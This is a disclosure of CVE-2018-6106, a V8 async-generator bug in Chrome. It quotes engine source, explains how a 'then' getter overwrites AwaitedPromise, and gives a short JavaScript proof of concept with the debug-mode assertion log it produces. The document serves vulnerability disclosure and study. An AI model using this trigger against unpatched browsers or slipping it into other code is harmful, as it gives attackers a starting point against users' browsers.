`Chrome: V8: AwaitedPromise update bug   
  
CVE-2018-6106  
  
  
Here's a snippet of AsyncGeneratorReturn. (<a href="https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650" title="" class="" rel="nofollow">https://cs.chromium.org/chromium/src/v8/src/builtins/builtins-async-generator-gen.cc?rcl=bcd1365cf7fac0d7897c43b377c143aae2d22f92&l=650</a>)  
  
Node* const context = Parameter(Descriptor::kContext);  
Node* const outer_promise = LoadPromiseFromAsyncGeneratorRequest(req);  
Node* const promise =  
Await(context, generator, value, outer_promise, AwaitContext::kLength,  
init_closure_context, var_on_resolve.value(), var_on_reject.value(),  
is_caught);  
  
CSA_SLOW_ASSERT(this, IsGeneratorNotSuspendedForAwait(generator));  
StoreObjectField(generator, JSAsyncGeneratorObject::kAwaitedPromiseOffset,  
promise);  
  
The Await methods calls ResolveNativePromise which calls InternalResolvePromise which can invoke a user JavaScript code through a "then" getter. If the AwaitedPromise is replaced by the user script, the AwaitedPromise will be immediately overwritten after the call to Await, this may lead the generator to an incorrect state.  
  
PoC:  
async function* asyncGenerator() {  
}  
  
let gen = asyncGenerator();  
gen.return({  
get then() {  
delete this.then;  
  
gen.next();  
}  
});  
  
Log in debug mode:  
abort: CSA_ASSERT failed: IsNotUndefined(request) [../../src/builtins/builtins-async-generator-gen.cc:328]
